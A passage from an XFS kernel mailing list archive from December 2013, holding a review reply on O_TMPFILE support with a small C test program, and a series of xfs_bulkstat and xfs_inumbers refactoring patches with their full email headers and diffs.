__writeback_inodes_wb+0x8c/0xd0 [308783.616864] [e0c5bda0] [c00fa258] wb_writeback+0x1c4/0x1cc [308783.617306] [e0c5bdd0] [c00fae14] bdi_writeback_workfn+0x158/0x33c [308783.617751] [e0c5be50] [c004906c] process_one_work+0x19c/0x3f0 [308783.618193] [e0c5be80] [c0049a0c] worker_thread+0x128/0x3c0 [308783.618630] [e0c5beb0] [c004fa8c] kthread+0xbc/0xd0 [308783.619071] [e0c5bf40] [c001099c] ret_from_kernel_thread+0x5c/0x64 [308783.619501] Instruction dump: [308783.619915] 7ca802a6 [308783.620437] 4bb1c681 -- BOFH excuse #446: Mailer-daemon is busy burning your message in hell. From zwu.kernel@gmail.com Sat Dec 28 04:04:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB7507F3F for ; Sat, 28 Dec 2013 04:04:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 788A2AC004 for ; Sat, 28 Dec 2013 02:04:55 -0800 (PST) X-ASG-Debug-ID: 1388225093-04bdf00fdf30c2f0001-NocioJ Received: from mail-ob0-f171.google.com (mail-ob0-f171.google.com [209.85.214.171]) by cuda.sgi.com with ESMTP id JL0DdXE1R0MWEq4g (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 28 Dec 2013 02:04:54 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] Received: by mail-ob0-f171.google.com with SMTP id wp18so10238327obc.30 for ; Sat, 28 Dec 2013 02:04:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=MHBxWG2BZ1l5mZbMOs1JJtUKCNb9l6EjJcx8tJ4jz+A=; b=MayDRYymiO12Ye1hy2U2bpejYzMqI7XIR30AzM5x3JTH4U/bUDKhzDxRZ7X3NTaiBb U+zLT7MDnP9JFOMNRqFamLVAYCNywTeOwYUApjcfQm2GF1v8PXTGN6Pd6z0tiLrcHKly UChF1jO6tuNHWRA4TstXmOwqAbTdWie0FPZbiTFvRTKS5Z4Bt7n9lC7bWt8MY5rCOxlL A53/UDgKMy903zHJC9Gi3LY+gt+i+kAhs9Tt76wvznWlvbvdn26+SCElAzxdkFIAvFKX xTFGkgRonqIN3DTVo+0xvdH7Hw+p08HZYhqP/3JKY/9+5vQMMmdoT5EVc+d/9vXdCCAX Zwww== MIME-Version: 1.0 X-Received: by 10.182.87.69 with SMTP id v5mr23619obz.77.1388225093491; Sat, 28 Dec 2013 02:04:53 -0800 (PST) Received: by 10.182.248.201 with HTTP; Sat, 28 Dec 2013 02:04:53 -0800 (PST) In-Reply-To: <20131226085134.GA32660@infradead.org> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <20131226085134.GA32660@infradead.org> Date: Sat, 28 Dec 2013 18:04:53 +0800 Message-ID: Subject: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support To: Christoph Hellwig Cc: xfstests , Zhi Yong Wu , linux-api@vger.kernel.org Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f171.google.com[209.85.214.171] X-Barracuda-Start-Time: 1388225094 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143486 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Dec 26, 2013 at 4:51 PM, Christoph Hellwig wrote: > Both patches looks good to me, > > Reviewed-by: Christoph Hellwig Indeed thanks for your review. ok, i will place them to my TODO list. > > But now we need to make sure we can exercise it, which will need > support for tmpfile and flink commands in xfs_io. > > And tests that use those commands in xfstests. At a minimum I'd > suggest: > > - test creating read-only/read-write/executable files > - check how permission bits actually work for O_TMPFILE and > enforce that (unfortunately I can't find any documentation for that) > - check that creating non-regular files is properly rejected > - check that flink works on O_TMPFILE files, but doesn't work on > on other files > > For an additional XFS-specific test I'd recommend: > > - creating a tmpfile, use src/godown to force the filesystem down and > check that repair recoveres the unlinked inode list > - creating a tmpfile, flinking it, use src/godown to force the > filesystem down and check that repair does not have to recover > the unlink inode list. > > On Wed, Dec 18, 2013 at 08:22:38AM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> HI, folks >> >> It's time to post the latest revision out, welcome to any constructive comment, thanks. >> >> If anyone is interested in playing with it, you can get this patchset from my dev git on github: >> git://github.com/wuzhy/kernel.git xfs_tmpfile >> >> The patchset was tested against the code snippet from Andy Lutomirski and other test cases: >> http://lwn.net/Articles/562296/ >> If you have any other better test cases, please let me know, thanks. >> >> #include >> #include >> #include >> #include >> #include >> >> #define __O_TMPFILE 020000000 >> #define O_DIRECTORY 0200000 >> #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) >> #define AT_EMPTY_PATH 0x1000 >> >> int main(int argc, char **argv) >> { >> char buf[128]; >> >> if (argc != 3) >> errx(1, "Usage: flinktest PATH linkat|proc"); >> >> int fd = open(".", O_TMPFILE | O_RDWR, 0600); >> if (fd == -1) >> err(1, "O_TMPFILE"); >> else >> printf("fd #: %d\n", fd); >> >> write(fd, "test", 4); >> >> if (!strcmp(argv[2], "linkat")) { >> if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) >> err(1, "linkat"); >> } else if (!strcmp(argv[2], "proc")) { >> sprintf(buf, "/proc/self/fd/%d", fd); >> if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) >> err(1, "linkat"); >> } else { >> errx(1, "invalid mode"); >> } >> >> return 0; >> } >> >> Changelog from v1: >> - Fixed one chunk of the comments from Christoph Hellwig and Jeff Liu. >> >> v1: >> - Addressed the comments from Dave Chinner and Christoph Hellwig. >> >> Zhi Yong Wu (3): >> xfs: factor prid related codes into xfs_get_initial_prid() >> xfs: add O_TMPFILE support >> xfs: allow linkat() on O_TMPFILE files >> >> fs/xfs/xfs_inode.c | 123 ++++++++++++++++++++++++++++++++++++++++++++-- >> fs/xfs/xfs_inode.h | 12 +++++ >> fs/xfs/xfs_iops.c | 16 ++++++ >> fs/xfs/xfs_shared.h | 4 +- >> fs/xfs/xfs_symlink.c | 5 +-- >> fs/xfs/xfs_trans_resv.c | 55 +++++++++++++++++++-- >> fs/xfs/xfs_trans_resv.h | 2 + >> 7 files changed, 202 insertions(+), 15 deletions(-) >> >> -- >> 1.7.6.5 >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > ---end quoted text--- -- Regards, Zhi Yong Wu From jeff.liu@oracle.com Sat Dec 28 05:19:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 288297F3F for ; Sat, 28 Dec 2013 05:19:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EAB27304051 for ; Sat, 28 Dec 2013 03:19:51 -0800 (PST) X-ASG-Debug-ID: 1388229587-04bdf00fde30f250001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id FVuOJMFgXZLTUyyx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:19:47 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBJk7U030070 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:19:46 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBJj5M001492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:19:46 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBJj4O024859 for ; Sat, 28 Dec 2013 11:19:45 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:19:45 -0800 Message-ID: <52BEB3CE.5000303@oracle.com> Date: Sat, 28 Dec 2013 19:19:42 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 0/10] xfs: xfs_ioc_bulkstat refactoring and consolidation Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 0/10] xfs: xfs_ioc_bulkstat refactoring and consolidation Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229587 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, The parallel quota check is still in progress because I observed performance number varies greatly, I suspect that is related to the hardward problem of my laptop. Thus, I have to delay that for a period of time until I can get a reasonable results. Meantime, there are some patches could be posted for the review which are focus on code refactoring and consolidations in xfs_ioc_bulkstat() related functions, i.e, xfs_bulkstat(), xfs_inumbers(), etc... It mainly implemented per AG bulkstat that we have discussed in parallel quota check thread, and fix several problems regarding to the error handling for inode btree operations in xfs_bulkstat() and xfs_inumbers() as per Christoph's suggestion. Moreover, I introduced another per AG inumber strategy, which can be used to scan multiple AGs with a new ioctl(2) in the future. Thanks, -Jeff From jeff.liu@oracle.com Sat Dec 28 05:20:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EA81B7F52 for ; Sat, 28 Dec 2013 05:20:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C38638F8035 for ; Sat, 28 Dec 2013 03:20:04 -0800 (PST) X-ASG-Debug-ID: 1388229603-04cb6c537da27ea0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id KGl3JJXaNgc3gmYt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:20:03 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBK2oV030349 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:20:03 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBK10b019957 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:20:02 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBK1ps019945 for ; Sat, 28 Dec 2013 11:20:01 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:20:01 -0800 Message-ID: <52BEB3DF.8080901@oracle.com> Date: Sat, 28 Dec 2013 19:19:59 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 1/10] xfs: remove redundant stat assignment int xfs_bulkstat_one_int Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 1/10] xfs: remove redundant stat assignment int xfs_bulkstat_one_int Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229603 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Trivial fix to get rid of redundant BULKSTAT_RV_NOTHING assignment in xfs_bulkstat_one_int(). Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index f463382..b5bb7b6 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -76,10 +76,8 @@ xfs_bulkstat_one_int( error = xfs_iget(mp, NULL, ino, (XFS_IGET_DONTCACHE | XFS_IGET_UNTRUSTED), XFS_ILOCK_SHARED, &ip); - if (error) { - *stat = BULKSTAT_RV_NOTHING; + if (error) goto out_free; - } ASSERT(ip != NULL); ASSERT(ip->i_imap.im_blkno != 0); @@ -136,7 +134,6 @@ xfs_bulkstat_one_int( IRELE(ip); error = formatter(buffer, ubsize, ubused, buf); - if (!error) *stat = BULKSTAT_RV_DIDONE; -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:20:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0FCB27F56 for ; Sat, 28 Dec 2013 05:20:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id F01B48F8033 for ; Sat, 28 Dec 2013 03:20:13 -0800 (PST) X-ASG-Debug-ID: 1388229612-04cbb04168a21160001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id JmObz3uUesDb3ZlN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:20:12 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBKBce028778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:20:12 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKBNu020224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:20:11 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKBrA020221 for ; Sat, 28 Dec 2013 11:20:11 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:20:10 -0800 Message-ID: <52BEB3E7.2080706@oracle.com> Date: Sat, 28 Dec 2013 19:20:07 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388229612 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might return different error if either call failed, we'd better return the proper error in this case. Moreover, the function argument done is useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. Signed-off-by: Jie Liu --- fs/xfs/xfs_ioctl.c | 3 +-- fs/xfs/xfs_itable.c | 59 ++++++++++++++++++++++++++--------------------------- fs/xfs/xfs_itable.h | 3 +-- 3 files changed, 31 insertions(+), 34 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..2fdd750 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -828,8 +828,7 @@ xfs_ioc_bulkstat( error = xfs_inumbers(mp, &inlast, &count, bulkreq.ubuffer, xfs_inumbers_fmt); else if (cmd == XFS_IOC_FSBULKSTAT_SINGLE) - error = xfs_bulkstat_single(mp, &inlast, - bulkreq.ubuffer, &done); + error = xfs_bulkstat_single(mp, &inlast, bulkreq.ubuffer); else /* XFS_IOC_FSBULKSTAT */ error = xfs_bulkstat(mp, &inlast, &count, xfs_bulkstat_one, sizeof(xfs_bstat_t), bulkreq.ubuffer, diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index b5bb7b6..692671c 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -509,51 +509,50 @@ xfs_bulkstat( } /* - * Return stat information in bulk (by-inode) for the filesystem. - * Special case for non-sequential one inode bulkstat. + * Return stat information in bulk (by-inode) for the filesystem. Special case + * for non-sequential one inode bulkstat. */ -int /* error status */ +int xfs_bulkstat_single( - xfs_mount_t *mp, /* mount point for filesystem */ + struct xfs_mount *mp, /* mount point for filesystem */ xfs_ino_t *lastinop, /* inode to return */ - char __user *buffer, /* buffer with inode stats */ - int *done) /* 1 if there are more stats to get */ + char __user *buffer) /* buffer with inode stats */ { - int count; /* count value for bulkstat call */ - int error; /* return value */ - xfs_ino_t ino; /* filesystem inode number */ + xfs_ino_t ino = *lastinop; int res; /* result from bs1 */ + int error; /* - * note that requesting valid inode numbers which are not allocated + * Note that requesting valid inode numbers which are not allocated * to inodes will most likely cause xfs_imap_to_bp to generate warning - * messages about bad magic numbers. This is ok. The fact that - * the inode isn't actually an inode is handled by the - * error check below. Done this way to make the usual case faster - * at the expense of the error case. + * messages about bad magic numbers. This is ok. The fact that the + * inode isn't actually an inode is handled by the error check below. + * Done this way to make the usual case faster at the expense of the + * error case. */ - - ino = *lastinop; - error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), + error = xfs_bulkstat_one(mp, ino, buffer, sizeof(struct xfs_bstat), NULL, &res); if (error) { + int count = 1; + int done, error2; + /* - * Special case way failed, do it the "long" way - * to see if that works. + * Special case way failed, do it the "long" way to see if + * that works. */ (*lastinop)--; - count = 1; - if (xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, - sizeof(xfs_bstat_t), buffer, done)) - return error; - if (count == 0 || (xfs_ino_t)*lastinop != ino) - return error == EFSCORRUPTED ? - XFS_ERROR(EINVAL) : error; - else - return 0; + error2 = xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, + sizeof(struct xfs_bstat), buffer, &done); + if (error2) + return error2; + + if (count == 0 || *lastinop != ino) { + if (error == EFSCORRUPTED) + error = XFS_ERROR(EINVAL); + } } - *done = 0; - return 0; + + return error; } int diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h index 97295d9..60ce988 100644 --- a/fs/xfs/xfs_itable.h +++ b/fs/xfs/xfs_itable.h @@ -54,8 +54,7 @@ int xfs_bulkstat_single( xfs_mount_t *mp, xfs_ino_t *lastinop, - char __user *buffer, - int *done); + char __user *buffer); typedef int (*bulkstat_one_fmt_pf)( /* used size in bytes or negative error */ void __user *ubuffer, /* buffer to write to */ -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:20:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5E2F07F3F for ; Sat, 28 Dec 2013 05:20:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3B21C304032 for ; Sat, 28 Dec 2013 03:20:33 -0800 (PST) X-ASG-Debug-ID: 1388229631-04cbb04166a21190001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id FyvrBAi85wH4ReDs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:20:31 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBKU2Z030508 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:20:31 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKToC020395 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:20:30 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKTO9002379 for ; Sat, 28 Dec 2013 11:20:29 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:20:28 -0800 Message-ID: <52BEB3FA.5080402@oracle.com> Date: Sat, 28 Dec 2013 19:20:26 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 3/10] xfs: consolidate xfs_inumbers Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 3/10] xfs: consolidate xfs_inumbers Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229631 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu To fetch the file system number tables, we currently just ignore the errors and proceed to loop over the next AG or bump agino to the next chunk in case of btree operations failed, that is not properly because those errors might hint us potential file system problems. This patch rework xfs_inumbers() to handle the btree operation errors as well as the loop conditions. Also, add pre-checkups for the given inode, we can save alloc/free the format buffer once against an invalid inode number. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 163 +++++++++++++++++++++++----------------------------- 1 file changed, 72 insertions(+), 91 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 692671c..4d262f6 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -558,12 +558,12 @@ xfs_bulkstat_single( int xfs_inumbers_fmt( void __user *ubuffer, /* buffer to write to */ - const xfs_inogrp_t *buffer, /* buffer to read from */ + const struct xfs_inogrp *buffer, /* buffer to read from */ long count, /* # of elements to read */ long *written) /* # of bytes written */ { if (copy_to_user(ubuffer, buffer, count * sizeof(*buffer))) - return -EFAULT; + return XFS_ERROR(EFAULT); *written = count * sizeof(*buffer); return 0; } @@ -573,121 +573,102 @@ xfs_inumbers_fmt( */ int /* error status */ xfs_inumbers( - xfs_mount_t *mp, /* mount point for filesystem */ - xfs_ino_t *lastino, /* last inode returned */ - int *count, /* size of buffer/count returned */ - void __user *ubuffer,/* buffer with inode descriptions */ - inumbers_fmt_pf formatter) + struct xfs_mount *mp,/* mount point for filesystem */ + xfs_ino_t *lastino,/* last inode returned */ + int *count,/* size of buffer/count returned */ + void __user *ubuffer,/* buffer with inode desc */ + inumbers_fmt_pf formatter) { - xfs_buf_t *agbp; - xfs_agino_t agino; - xfs_agnumber_t agno; - int bcount; - xfs_inogrp_t *buffer; - int bufidx; - xfs_btree_cur_t *cur; - int error; - xfs_inobt_rec_incore_t r; - int i; - xfs_ino_t ino; - int left; - int tmp; - - ino = (xfs_ino_t)*lastino; - agno = XFS_INO_TO_AGNO(mp, ino); - agino = XFS_INO_TO_AGINO(mp, ino); - left = *count; + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastino); + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastino); + int left = *count; + struct xfs_btree_cur *cur = NULL; + struct xfs_buf *agbp = NULL; + struct xfs_inogrp *buffer; + int bcount; + int bufidx; + int error; + *count = 0; + if (agno >= mp->m_sb.sb_agcount || + *lastino != XFS_AGINO_TO_INO(mp, agno, agino)) + return 0; + bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); buffer = kmem_alloc(bcount * sizeof(*buffer), KM_SLEEP); - error = bufidx = 0; - cur = NULL; - agbp = NULL; - while (left > 0 && agno < 